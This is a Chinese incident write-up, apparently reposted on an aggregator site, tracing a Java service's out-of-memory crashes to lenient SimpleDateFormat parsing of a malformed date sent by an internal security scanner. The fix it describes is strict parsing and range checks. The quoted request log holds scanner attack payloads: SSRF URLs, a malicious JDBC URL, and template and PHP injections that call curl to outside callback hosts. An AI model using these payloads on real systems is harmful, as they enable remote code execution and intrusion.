164万年后的日期解析引发的OOM

news2024/12/30 2:06:16

名词解释

商家销项发票业务(平台给商家开票),是平台提供给商家的工具产品,商家购买了平台的服务,那么平台需要开票给商家。

前言

本文所描述的问题,是应用的OOM引发的接口成功率下跌,排查过程中由于现场环境问题,导致第一次的原因定位错了,后面由于机缘巧合,找到了一个3月份的OOM dump文件,顺藤摸瓜一步步找到了OOM的元凶,竟然是由于安全攻击伪造了一个异常的日期格式,被SimpleDateFormat解析成了164万年后的日期,距今5.9亿天,而发生OOM的接口逻辑是,从开始时间到结束时间,每一天生成一个数据点,从而造成内存中存在大量对象,进而发生OOM。

下面就带大家来看下整个问题的定位过程。

Metaspace报错



图片



6月3日~6月6日,该业务连续出现两次接口成功率下跌的风险预警。看了下接口报错日志,接口的RT上涨,错误信息是Metaspace。



图片



到这很容易联想到是Metaspace空间不足导致gc,而且错误都集中在一台机器上,去sunfire上看下机器jvm信息,果然metaspace使用率已经达到97%了,CPU也飙高到了90%。由于接口成功率还在下跌,可能触发故障,所以第一时间把机器做了下线处理。虽然接口成功率恢复了,但现场却没了,只定位到了一个Metaspace使用率高的现象。



图片



图片



查看了一下应用的MetaspaceSize设置,容量确实很小,只有256M,相比其他应用都是512M,由于没了现场,所以暂时把解决方案定位成调高MetaspaceSize空间。

JAVA_OPTS="${JAVA_OPTS} -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=256m"

到了6月6日,再次出现了同样的问题,CPU也到了90%多,当即对问题机器dump了线程信息,CPU全部被GC线程占满了,所以还是认定是MetaspaceSize的原因。重启了问题机器后,第一时间发布代码,调整MetaspaceSize到512M。

top -H -p 进程ID



图片



CPU飙涨

然而到了6月6日下午,突然收到一个监控,从16.35开始,一台机器的CPU飙涨到98%,还是被4个GC线程占满,而metaspace的使用率却稳定在50%。这样看来之前定位到的原因不对了,并不是Metaspace的问题,而是应用在疯狂的GC。



图片





图片



OOM

上问题机器看了下线程CPU使用情况,果然还是4个GC线程,确定不是Metaspace的问题了。随即去找错误日志,这次不是报Metaspace,而是出现了大量的OutOfMemoryError错误,就是OOM了。



图片



OOM一般都很好定位,第一时间想到的便是dump了,然而dump的结果大跌眼镜,尝试了好几次,啥信息都没有,根本无从定位。

图片



既然无法dump,那直接在机器上使用jmap,结果也执行失败,陷入绝境了,明明是很好排查的OOM却无从下手,只能去找其他方法了。

集团的Java应用,一般都有默认的jvm参数--OOM 自动dump,文件一般在/home/admin/logs/java.hprof。

JAVA_OPTS="${JAVA_OPTS} -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=${MIDDLEWARE_LOGS}/java.hprof"

果然在机器上找到了dump文件,但日期却不是今天的,是3月29日的,本着死马当活马医的态度,先尝试着去分析一下。



图片



dump分析

用grace分析了一下3月29日的dump文件,大有收获,内存中竟然存在5700万个com.alibaba.finance.paycenter.view.GoodsIncomeSummaryVO对象,这便是3月29日OOM的元凶了。



图片





图片



但3月29日的OOM,跟6月6日的会是一样吗,过去2个多月了,而且sls上也没有3月份的日志。由于没有更多的方向了,暂时猜测6月6日的OOM跟3月29日的一样。顺着grace给出的信息,去看了下代码。代码的逻辑很简单,查询一个商家在某个时间区间的货款结算数据,数据是按天维度的,一天一条记录,所以这段代码返回的就是beginTime到endTime之间每天的数据,换句话说,GoodsIncomeSummaryVO这个对象最多也就是endTime-beginTime个了,也就是两个日期之间的天数。



图片



继续找到前台页面入口,beginTime和endTime对应的是两个时间选择器,给服务端的格式是yyyymmdd,而且前端限制每次最多查一个月,也就是接口最多返回31条数据。就算是伪造数据攻击,从0000-9999年最多也只有365*10000=365万条数据,怎么会出现5000多万呢?



图片



安全攻击

从这个产品功能来看,如果是正常的页面操作,那么单次请求最多返回一个月也就是31条数据,而内存中存在大量对象只有一种可能--那就是接口被攻击了。继续分析日志,把时间范围调整到问题发生的时段,果然接口调用量存在明显的上涨,跟前面的猜测一样,6月6日的OOM也是由于GoodsIncomeSummaryVO这个对象导致的。



图片



继续分析日志,发现请求都是来自【heimdall安全扫描测试账号】,这就是安全部的常用攻击账号。



图片



从日志不难看出,安全账号的请求在伪造入参攻击接口,入参中的[20240529, 20240604]便是前面提及的beginTime和endTime。而攻击请求中的入参却是另一番模样:

[http://140.205.171.167?%0a@fundtax.taobao.com/, 20240604][20240529, http://140.205.171.167?%0a@fundtax.taobao.com/][//sectesttaobao.com/checkpreload.htm?heimdallpoc=1, 20240604][20240529, 20240604jdbc:gbase://48268652-d8cb73efc3a3e66d-1111.1001-None-2c3a455b8ebd4954-1717662929929.gbase.dns.heimdallpoc.cn/test?user=test][20240529heimdalldbmarktestd8cb73efc3a3e66d-beginTime-, 20240604][20240529, {{ctx.curl('http://48268652-d8cb73efc3a3e66d-11.1-endTime-b5a59b74c90e4e73-1717662922429.ssi2.rce.ihttp.dns.heimdallpoc.cn')}}][data:text/plain,<?php system('curl 48268652-d8cb73efc3a3e66d-11.1-beginTime-39fbd8149b59426b-1717662920830.27.rce.ihttp.dns.heimdallpoc.cn');?>, 20240604]

再来回顾一下这个接口的逻辑:

1、用sellerId,beginTime和endTime,到数据库里面去查数据d >=beginTime and d <= endTime

2、计算beginTime和endTime之间的天数,这里用的是SimpleDateFormat.parse

看了下服务器的日志,大部分的安全攻击请求,要么被SQL语法拦截了,要么被日期解析拦截了,都是无效请求,那是怎么触发OOM的呢?



图片





图片



GoodsIncomeSummaryVO对象的产生主要是在第二步【计算beginTime和endTime之间的天数】,并不是第一步,就是说第一步的结果不会影响到GoodsIncomeSummaryVO的数量,去数据库验证了一下,攻击账号的数据是0条,所以问题的根源就是第二步。

Eagleeye分析

之前的日志分析并未发现异常,主要是因为分析的日志时间范围是在CPU上涨的时间。



图片



这个时间段内确实没有异常的请求日志,但是既然某些请求会产生大量的GoodsIncomeSummaryVO对象,那么这次请求的RT一定很高,可能系统打印的日志就不在这个时间段了,顺着这个思路去eagleeye上拉长时间看了下接口的RT数据,果然发现了可疑之处。17:30分左右平均RT是25分钟,这太不正常了,这个时间点一定存在某个RT很高的异常请求。



图片



定位元凶

去机器上寻找这个时间点附近的日志,找到了这个可疑的请求:

2024-06-06 17:30:26.625 - 212a87e117176628478926268e1570|106.15.120.135|HomeController|getGoodsIncomeList|N|Java heap space|null|3378731ms|22129*****|heimdall安全扫描测试账号|账户汇总-货款结算趋势|[20240529, 2024060433312731332234323c32343e3939]

日志的产生时间是2024-06-06 17:30:26,执行了56分钟,倒推一下就是2024-06-06 16:35 左右开始执行,跟OOM和CPU打满的时间是吻合的。可以肯定是这个请求一直在产生GoodsIncomeSummaryVO对象,话不多说,先看下参数。

beginTime:20240529endTime:2024060433312731332234323c32343e3939

这个endTime初看肯定会被日期解析给拦截的,为啥还往下执行了,难道这也能解析?写了段测试代码执行一下这两个数据,结果惊呆了。



图片



代码非但没有报错,反而停不下来了,3000多万了。



图片



5000多万了,不行了,电脑卡死了。



图片



好了,看来是停不下来了,估计也要跑50多分钟。直接把endTime:

2024060433312731332234323c32343e3939打印出来看看是个什么东西,好家伙。



图片





图片



2024060433312731332234323c32343e3939解析成Date后是1642440年,从2024年5月29日,一天一天加,加到1642440年,总共有5.9亿天,所以说这次请求会产生5.9亿个GoodsIncomeSummaryVO对象,这不OOM才怪呢。



图片



问题来了,有老铁知道2024060433312731332234323c32343e3939这是个啥,为啥SimpleDateFormat还能解析出来,已经超出认知了。

SimpleDateFormat分析

    public static Date convertToDate(String time, String format) {        Date date=null;        SimpleDateFormat dateFormat = new SimpleDateFormat(format);        try {            date = dateFormat.parse(time);        } catch (ParseException e) {            throw new RuntimeException("format error", e);        }        return date;    }

这是一段很普通的代码,看不出啥毛病来,问题就在于format这个格式解析,出于好奇,随便造了一个数据来测试一下,代码如下:

Date beginDate = DateUtils.convertToDate("209410529", DateUtils.YYYYMMDD_FORMAT);

【209410529】并不是标准的【yyyyMMdd】格式,而是9位多了1位,看看SimpleDateFormat的结果吧。

Mon Mar 12 00:00:00 CST 2096

解析并没有报错,但日期貌似也不对,怎么变成了2096年,于是debug看了下SimpleDateFormat的工作原理。

SimpleDateFormat的parse会根据format格式依次解析出年月日,关键的问题就出在【日】这个字段。

年:2094月:10日:529

除了yyyyMM前6位,后面的一大串都当成了【日】,问题的关键在于这段代码。



图片



进入Calendar类:



图片





图片



由于【日】这个字段是非法的,此处的isTimeSet=false,进入到了updateTime,重新开始计算时间,【529】天会进一步计算成月和年。



图片



debug结束后,重新计算的时间戳是【3982320000000】,转换一下,刚好是上面的结果【Mon Mar 12 00:00:00 CST 2096】。



图片



再回到安全攻击的那个日期【2024060433312731332234323c32343e3939】,看看SimpleDateFormat是怎么解析的,首先还是获取年月。

年:2024月:06

那么剩下的一大串【0433312731332234323c32343e3939】就用来解析【日】了,函数的入口位于DecimalFormat的subparse函数。

private final boolean subparse(String text, ParsePosition parsePosition,                   String positivePrefix, String negativePrefix,                   DigitList digits, boolean isExponent,                   boolean status[]) {}

依次遍历text,存入DigitList中,逻辑如下:



图片





图片



当识别到字符串中的【c】时,digit=-1,跳出了for循环,【c32343e3939】后面一大串直接丢弃了,所以digits中保存的字符串是【0433312731332234323】,然后转成Long,值为【433312731332234323】。



图片



最后在保存的时候转为int,值为599149651,这个就比较熟悉了,就是前面分析的5.9亿天,然后再通过Calendar的updateTime,变成了1642440年。



图片



后面测试了一下另外一个格式【yyyy-MM-dd】,也有同样的问题。

Date beginDate = DateUtils.convertToDate("2024-06-0433312731332234323c32343e3939", DateUtils.YYYY_MM_DD_FORMAT);

得到了同样的结果:

Sun Jun 10 00:00:00 CST 1642440

综上所述,在使用SimpleDateFormat的时候,必须确保日期的格式,否则可能会得到预期之外的结果,还可能会给业务带来影响。

设置lenient=false

感谢连齐提供的解决方案,SimpleDateFormat设置lenient为false,会严格校验日期格式,亲测有效。



图片





图片





图片





图片



问题修复

排查过程很复杂,但回到代码上,问题不少,修复方案也很简单。

1、接口入参时间格式没有校验,应该严格限定在yyyyMMdd;

2、接口没有校验时间查询范围,依赖于前端1个月的限制条件,但攻击可以轻易绕过;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1846330.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用于视觉对象跟踪的序列到序列学习

阅读完此论文后&#xff0c;对着代码过一遍思路 原文地址&#xff1a;https://arxiv.org/abs/2304.14394 本文将视觉跟踪建模为一个序列生成问题&#xff0c;以自回归的方式预测目标边界框。抛弃了设计复杂的头网络&#xff0c;采用encoder-decoder transformer architecture…

手机数据如何恢复?11 款最佳安卓手机恢复软件

媒体可能由于各种原因而从您的设备中删除&#xff0c;可能是意外或病毒攻击。 在这些情况下&#xff0c;照片恢复应用程序是唯一的解决方案。理想的照片恢复应用程序取决于各种因素&#xff0c;例如存储设备的损坏程度、删除照片后的持续时间以及应用程序使用的恢复算法的有效性…

玩玩大模型:总结归纳可以,策划创新拉垮

最近身边的人都在研究大模型。太深入的理解不了&#xff0c;有一些人会讲讲promt提示&#xff0c;学了几招。 比如&#xff1a; #角色 你是一个美食博主 #条件 我只有xxx元&#xff0c;在xxx.... #任务 找一家好吃的当地特色餐馆... 多试几次&#xff0c;有些结果很有参考价值…

前端学习-day10

文章目录 01-体验平面转换02-平移效果03-绝对定位元素居中04-案例-双开门06-转换旋转中心点07-案例-时钟-转换原点08-平面转换-多重转换09-缩放效果10-案例-按钮缩放11-倾斜效果12-渐变-线性13-案例-产品展示14-渐变-径向15-综合案例-喜马拉雅 01-体验平面转换 <!DOCTYPE h…

PCAtools|主成分分析

library(PCAtools) library(tidyverse) ls(package:PCAtools) iris <- as.data.frame(iris) iris <- iris %>% mutate(class str_c("a",1:dim(iris)[1],sep "")) rownames(iris) <- iris$class iris <- iris[,-6] head(iris) # 构建矩阵 …

国有企业数字化转型常见思考框架与路线图

一、国有企业数字化转型思考框架 在之前的十九届四中全会《关于坚持和完善中国特色社会主义制度推进国家治理体系和治理能力现代化若干重大问题的决定》中明确“推进国有经济布局优化和结构调整&#xff0c;发展混合所有制经济&#xff0c;增强国有经济竞争力、创新力、控制力…

麒麟移动运行环境(KMRE)——国内首个开源的商用移固融合“Android生态兼容环境”正式开源

近日&#xff0c;由麒麟软件研发的KMRE&#xff08;Kylin Mobile Runtime Environment&#xff0c;麒麟移动运行环境&#xff09;在openKylin&#xff08;开放麒麟&#xff09;社区正式发布&#xff0c;为Linux桌面操作系统产品提供了高效的Android运行环境解决方案。这也是国内…

【免费API推荐】:各类API资源免费获取【11】

欢迎来到各类API资源的免费获取世界&#xff01;幂简集成为您提供了一个集合了各种免费API接口的平台。无论您是开发者、数据分析师还是创业者&#xff0c;都可以通过我们的平台轻松免费获取所需的API资源。幂简精心整理了各类API接口&#xff0c;涵盖了不同领域的需求&#xf…

如何避免在React中的回调函数中使用箭头函数可能引起的内存泄漏?

在React中&#xff0c;箭头函数在回调函数中的使用确实可能引发性能问题&#xff0c;尤其是当这些函数在渲染方法或者组件内部被定义时。每次组件重新渲染时&#xff0c;都会创建这些函数的新实例&#xff0c;这可能导致不必要的计算和内存使用&#xff0c;甚至在某些情况下引发…

大模型RAG应用优化实战

之前体验OpenAI GPT-4o模型的时候&#xff0c;感觉到大语言模型进化的太快&#xff0c;基于AI应用做出的努力可能很快就被新一代模型降维打击&#xff0c;变得没有价值了&#xff0c;“人生苦短&#xff0c;终归尘土”&#xff0c;最终都化为虚无&#xff0c;还有什么意义呢&am…

多维表格/业务库表格大数据量性能瓶颈

先说最终结论&#xff1a;Angular 组件创建性能损耗是当下主要的性能瓶颈 理由&#xff1a; 基于以往编辑器性能优化的经验&#xff0c;编辑器在动态渲染内容时会创建很多壳子组件&#xff08;也就是Angular 组件&#xff09;&#xff0c;排查的时候就发现如果略这些壳子组件性…

探索Lazada商品数据宝库——一键获取商品详细数据信息

一、引言 在电商领域&#xff0c;Lazada凭借其广泛的商品种类和便捷的购物体验&#xff0c;成为东南亚地区备受欢迎的电商平台。然而&#xff0c;对于许多商家和数据分析师来说&#xff0c;获取商品详细数据信息却是一项繁琐而重要的任务。为了解决这个问题&#xff0c;我们精…

内容安全复习 9 - 身份认证系统攻击与防御

文章目录 基于生物特征的身份认证系统概述基于生物特征的身份认证 人脸活体检测检测方法未解决问题 基于生物特征的身份认证系统概述 作用&#xff1a;判别用户的身份、保障信息系统安全。 是识别操作者身份的过程&#xff0c;要保证其**物理身份&#xff08;现实&#xff0…

openppp2 命令行接口详解

openppp2 是一个工作在 OSI/3 Layer 网络通信层的虚拟以太网工具链的开源软件&#xff0c;在查阅本文之前&#xff0c;人们可以查阅以下资料。 开源仓库&#xff1a; liulilittle/openppp2: PPP PRIVATE NETWORK™ 2 VPN Next Generation Reliable and Secure Virtual Etherne…

一次压测引发的数据库 CPU 飙升

作者&#xff1a;昀鹤 一次压测过程中&#xff0c;当数据库的 qps 和 tps 都正常时&#xff0c;如果 cpu 利用率异常的高&#xff0c;应该如何排查&#xff1f;希望通过这篇文章&#xff0c;给你一些启发... 一、业务背景 业务需要控制频道内兑换现金的数量&#xff0c;于是在…

恭喜行云绽放,24年再度荣获国家鼓励的企业软件证书

在刚刚过去的五月份&#xff0c;行云绽放再次传来一个好消息&#xff0c;那就是2024年行云绽放再度荣获国家鼓励的企业软件证书。 什么是国家鼓励的企业软件证书&#xff1f; 国家鼓励的企业软件证书被称为“国家鼓励的软件企业证书”&#xff0c;这一证书由中国软件行业协会…

网站https逐渐普及,选择合适的SSL证书

目录 为什么实现https访问逐渐成为主流&#xff1a; 为什么要选择合适的SSL证书&#xff1a; 目前主流的三种域名证书及IP证书&#xff1a; 怎样申请SSL证书&#xff1a; 随着国内网络安全信息的逐渐普及&#xff0c;绝大部分的网站目前都配置了SSL证书用于实现https访问&a…

ModelScope联手OpenDataLab:直接调用7000+开源数据集,赋能AI模型加速研发

在人工智能的演进历程中&#xff0c;数据和模型的整合是推动技术发展的核心动力。随着AI技术的不断进步&#xff0c;整合各类关键资源&#xff0c;构建一个高效、协同的开发环境&#xff0c;已成为加速创新应用发展的关键。 基于这一理念&#xff0c;OpenDataLab浦数与ModelSc…

解锁私域电商潜力:构建与维护强大私域生态

大家好&#xff0c;我是专注于私域电商领域的技术专家&#xff0c;拥有丰富的行业经验。在今天的分享中&#xff0c;我将带大家深入理解私域流量的精髓&#xff0c;并探讨如何构建一个充满活力且高效的私域生态。在数字化浪潮下&#xff0c;如何深化用户关系并挖掘其潜在价值&a…

mybatis动态传参pgsql日期Interval

在navicat16中&#xff0c;标准写法 SELECT * FROM business_status_info WHERE create_time > (NOW() - INTERVAL 5 minutes) 在mybatis中&#xff0c;错误写法 SELECT * FROM business_status_info WHERE create_time > (NOW() - INTERVAL #{monitorTimeInterval,jdbc…